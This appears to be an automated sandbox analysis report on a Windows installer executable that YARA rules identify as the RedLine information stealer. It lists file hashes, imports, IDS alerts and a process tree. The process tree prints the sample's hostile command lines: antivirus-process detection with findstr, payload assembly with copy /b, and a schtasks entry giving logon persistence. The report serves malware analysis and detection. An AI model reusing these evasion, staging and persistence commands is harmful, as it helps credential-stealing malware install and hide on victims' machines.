Preview:	..8CX......<.1...".?.'...;.<..&.b.?.,.kg..<.!.J...?.eT1..<..1y".?..z....<....F#.?V....a.<.$..lc.?....x..<..nu...?c.v5...<......?0...N..<....#.?...".$.<.b.m.d.?.g.Q...<.\|.a7..?.....<.a..c.?.0.H_..<....$.?]U. ?..<.8.U.d.?\|}}.?.<.5...?~+.....<.... .?)0>.B..<..'HR%.?....I&.<.^:.e.?>!....<.sl....?e.cb~q.<.....?r.....<.F..(&.?Z..n...<.'..`f.?4..7j..<.....?+i...U.<..oX..?F...K;.<.....'.?Yh....<.4lkQg.?.;+.U..<.3.....?...m8.<...&..?....<..S..(.?..Y.=.t<.:@.Xh.?,.n@4`.<...$...?.......<..n...?..9...<....-).?.\.....<...wi.?....=.<.R.%..?.f..@..<..B..?a...w..<.G..^.?.m(.<..<..2;.j.?...P.E.<.......?<./....<.:..T.?Ft.....<....+.?N.ibzP.<.....l.?.. %X.<.a..Y..?]@._}.<..nL..?....G..<...1.-.?a....(.<.U..lm.?iT..?..<.....?V.....<.w7H-.?...X[F.<...+...?X. .kn.<.E...n.?.T.(.+.<...U[..?......<.'...?ju!4...<....-0.?.......<.Q..p.?.....<.......?....{..<...qw.?_W....<..C..1.?'......<.I..\r.?..D..c<.s.>..?......<.w*.I.?...n'$.<..2.3.?z....7.<.[..>t.?.V-A

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946869592865797
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe
File size:	919'502 bytes
MD5:	284bba6223d9215b7b1f9b99480ad2cd
SHA1:	5fd4f669024dce37ae01d3976d247d599c5e7f8e
SHA256:	f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b01582d140d17d8131f658d
SHA512:	801ca37178c4b4cb658613a206791cba597e11f96a80c682a13cf147d3e0e79777b501ecbf215dc170770a7c87287554072dcd5ed05966a8208e2ff6a9172177
SSDEEP:	24576:KwqZ/xSjbuxymLA6NTTNTob8bsYdcA21W:lOBxn3pTJWY2A2
TLSH:	E51523808FFCC13DD2FA0BB361F648560EB6E7A755B8050A16489A7DBF357110E39E4A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................n.......B...8.....

File Icon


Icon Hash:	1edce8f8d4c6c8f0

Static PE Info

General

Entrypoint:	0x403883
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4F47E2DA [Fri Feb 24 19:19:54 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=GlobalSign GCC R45 EV CodeSigning CA 2020, O=GlobalSign nv-sa, C=BE
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	20/03/2024 15:23:35 21/03/2026 15:23:35
Subject Chain	CN=YANDEX LLC, O=YANDEX LLC, STREET="Lev Tolstoy street, 16", L=Moscow, S=Moscow, C=RU, OID.1.3.6.1.4.1.311.60.2.1.2=Moscow, OID.1.3.6.1.4.1.311.60.2.1.3=RU, SERIALNUMBER=1027700229193, OID.2.5.4.15=Private Organization
Version:	3
Thumbprint MD5:	9906E73CDAF5570B04FDE09A4BCB74A9
Thumbprint SHA-1:	46E2F09D295573BB09DACC6B209B142C244A30D6
Thumbprint SHA-256:	6E4B1A3C72EF08F8311CF4F596DE8CCA679D06C51A87E1C5714F8DECB84BCB37
Serial:	6F126C9CC287DE458CE890F6

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 00409268h
mov dword ptr [esp+14h], ebp
call dword ptr [00408030h]
push 00008001h
call dword ptr [004080B4h]
push ebp
call dword ptr [004082C0h]
push 00000008h
mov dword ptr [00472EB8h], eax
call 00007FB8804FDF8Bh
push ebp
push 000002B4h
mov dword ptr [00472DD0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 00409264h
call dword ptr [00408184h]
push 0040924Ch
push 0046ADC0h
call 00007FB8804FDC6Dh
call dword ptr [004080B0h]
push eax
mov edi, 004C30A0h
push edi
call 00007FB8804FDC5Bh
push ebp
call dword ptr [00408134h]
cmp word ptr [004C30A0h], 0022h
mov dword ptr [00472DD8h], eax
mov eax, edi
jne 00007FB8804FB55Ah
push 00000022h
pop esi
mov eax, 004C30A2h
push esi
push eax
call 00007FB8804FD931h
push eax
call dword ptr [00408260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007FB8804FB5E3h
push 00000020h
pop ebx
cmp ax, bx
jne 00007FB8804FB55Ah
add esi, 02h
cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9b34	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf4000	0x4fe0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xddc96	0x2b38	.ndata
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7a000	0x964	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6dae	0x6e00	00499a6f70259150109c809d6aa0e6ed	False	0.6611150568181818	data	6.508529563136936	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x2a62	0x2c00	07990aaa54c3bc638bb87a87f3fb13e3	False	0.3526278409090909	data	4.390535020989255	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xb000	0x67ebc	0x200	014871d9a00f0e0c8c2a7cd25606c453	False	0.203125	data	1.4308602597540492	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x73000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xf4000	0x4fe0	0x5000	3f4adff8ee3a5ffd71854529bd07d44f	False	0.394677734375	data	3.9010989150943747	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xf9000	0xf32	0x1000	2d0fc4dd07f898b869ecdfdd0c2f4028	False	0.245849609375	data	2.173648661395905	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xf4220	0x2668	Device independent bitmap graphic, 48 x 96 x 32, image size 9792	English	United States	0.21663954434499594
RT_ICON	0xf6888	0x1128	Device independent bitmap graphic, 32 x 64 x 32, image size 4352	English	United States	0.2900728597449909
RT_ICON	0xf79b0	0xc30	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.003525641025641
RT_ICON	0xf85e0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.35904255319148937
RT_DIALOG	0xf8a48	0x100	data	English	United States	0.5234375
RT_DIALOG	0xf8b48	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0xf8c68	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0xf8cc8	0x3e	data	English	United States	0.8064516129032258
RT_MANIFEST	0xf8d08	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-26T21:12:55.216657+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49715	52.165.165.26	192.168.2.5
2024-07-26T21:12:17.026947+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49707	52.165.165.26	192.168.2.5

Network Port Distribution

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 21:12:03.748888016 CEST	63756	53	192.168.2.5	1.1.1.1
Jul 26, 2024 21:12:03.758347034 CEST	53	63756	1.1.1.1	192.168.2.5
Jul 26, 2024 21:12:10.111047983 CEST	51105	53	192.168.2.5	1.1.1.1
Jul 26, 2024 21:12:10.140145063 CEST	53	51105	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 26, 2024 21:12:03.748888016 CEST	192.168.2.5	1.1.1.1	0xc702	Standard query (0)	RADgSUbEiddPOZAFcUYmDkmxSjP.RADgSUbEiddPOZAFcUYmDkmxSjP	A (IP address)	IN (0x0001)	false
Jul 26, 2024 21:12:10.111047983 CEST	192.168.2.5	1.1.1.1	0x59ee	Standard query (0)	RADgSUbEiddPOZAFcUYmDkmxSjP.RADgSUbEiddPOZAFcUYmDkmxSjP	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 26, 2024 21:12:03.758347034 CEST	1.1.1.1	192.168.2.5	0xc702	Name error (3)	RADgSUbEiddPOZAFcUYmDkmxSjP.RADgSUbEiddPOZAFcUYmDkmxSjP	none	none	A (IP address)	IN (0x0001)	false
Jul 26, 2024 21:12:10.140145063 CEST	1.1.1.1	192.168.2.5	0x59ee	Name error (3)	RADgSUbEiddPOZAFcUYmDkmxSjP.RADgSUbEiddPOZAFcUYmDkmxSjP	none	none	A (IP address)	IN (0x0001)	false

Target ID:	0
Start time:	15:11:55
Start date:	26/07/2024
Path:	C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe"
Imagebase:	0x400000
File size:	919'502 bytes
MD5 hash:	284BBA6223D9215B7B1F9B99480AD2CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:11:58
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /k copy Surgeons Surgeons.cmd & Surgeons.cmd & exit
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:11:58
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:12:00
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x120000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:12:00
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "wrsa.exe opssvc.exe"
Imagebase:	0x950000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	15:12:00
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x120000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:12:00
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe"
Imagebase:	0x950000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:12:01
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 723582
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	15:12:01
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "wagemissileaffiliatesgreeting" Fisting
Imagebase:	0x950000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	15:12:01
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b Restriction + Manager + Screw + Anchor 723582\r
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	15:12:01
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\723582\Flash.pif
Wow64 process (32bit):	true
Commandline:	723582\Flash.pif 723582\r
Imagebase:	0x9d0000
File size:	893'608 bytes
MD5 hash:	6EE7DDEBFF0A2B78C7AC30F6E00D1D11
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000B.00000002.3256409691.000000000141A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000B.00000002.3256254115.0000000001350000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000B.00000003.3249041675.00000000030D4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000B.00000003.3249083801.000000000139B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000B.00000002.3256579902.00000000014CB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000B.00000003.3248898877.0000000001351000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000B.00000003.3248832355.00000000042DB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000B.00000003.3248740085.000000000141B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000B.00000003.3248696366.00000000030D4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 7%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	15:12:01
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout 15
Imagebase:	0xcd0000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	15:12:02
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks.exe /create /tn "ApolloSphere" /tr "wscript //B 'C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.js'" /sc onlogon /F /RL HIGHEST
Imagebase:	0x950000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	15:12:03
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	15:12:04
Start date:	26/07/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.js"
Imagebase:	0x7ff7e9460000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	15:12:04
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif" "C:\Users\user\AppData\Local\EduTech Dynamics\L"
Imagebase:	0x180000
File size:	893'608 bytes
MD5 hash:	6EE7DDEBFF0A2B78C7AC30F6E00D1D11
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 7%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	15:14:00
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\723582\RegAsm.exe
Wow64 process (32bit):
Commandline:	C:\Users\user\AppData\Local\Temp\723582\RegAsm.exe
Imagebase:
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	12.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.6%
Total number of Nodes:	1523
Total number of Limit Nodes:	37

Executed Functions

Function 00403883 Relevance: 59.8, APIs: 22, Strings: 12, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038A2
SetErrorMode.KERNELBASE(00008001), ref: 004038AD
OleInitialize.OLE32(00000000), ref: 004038B4

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

SHGetFileInfoW.SHELL32(00409264,00000000,?,000002B4,00000000), ref: 004038DC

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetCommandLineW.KERNEL32(0046ADC0,NSIS Error), ref: 004038F1
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe",00000000), ref: 00403904
CharNextW.USER32(00000000,"C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe",00000020), ref: 0040392B
GetTempPathW.KERNEL32(00002004,004D70C8,00000000,00000020), ref: 00403A00
GetWindowsDirectoryW.KERNEL32(004D70C8,00001FFF), ref: 00403A15
lstrcatW.KERNEL32(004D70C8,\Temp), ref: 00403A21
DeleteFileW.KERNELBASE(004D30C0), ref: 00403A38
OleUninitialize.OLE32(?), ref: 00403AD1
ExitProcess.KERNEL32 ref: 00403AF1
lstrcatW.KERNEL32(004D70C8,~nsu.tmp), ref: 00403AFD
lstrcmpiW.KERNEL32(004D70C8,C:\Users\user\Desktop,004D70C8,~nsu.tmp), ref: 00403B09
CreateDirectoryW.KERNEL32(004D70C8,00000000), ref: 00403B15
SetCurrentDirectoryW.KERNEL32(004D70C8), ref: 00403B1C
DeleteFileW.KERNEL32(004331E8,004331E8,?,00477008,00409204,00473000,?), ref: 00403B6D
CopyFileW.KERNEL32(C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe,004331E8,00000001), ref: 00403B81
CloseHandle.KERNEL32(00000000,004331E8,004331E8,?,004331E8,00000000), ref: 00403BAE
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C04
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C40

Strings

"C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe", xrefs: 004038F8, 004038FD, 00403A58
C:\Users\user\Desktop, xrefs: 00403B02, 00403B07, 00403B2B
NSIS Error, xrefs: 004038E2
~nsu.tmp, xrefs: 00403AF7
SeShutdownPrivilege, xrefs: 00403C16
\Temp, xrefs: 00403A1B
1C, xrefs: 00403B56
Error launching installer, xrefs: 00403A7D
NCRC, xrefs: 0040397C
/D=, xrefs: 004039A6
C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe, xrefs: 00403B7C
_?=, xrefs: 00403A64

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$"C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe"$C:\Users\user\Desktop$C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp$1C
API String ID: 2435955865-1845741877
Opcode ID: b4c90e19bc4a522d6528af1b5983b0f211df9e73c6af6eb8e5ff34ebe7c06cb6
Instruction ID: 7cf1fa831aca86d96b8495533088dbe4cf0b0326274ef0a42366eb07f7c747b9
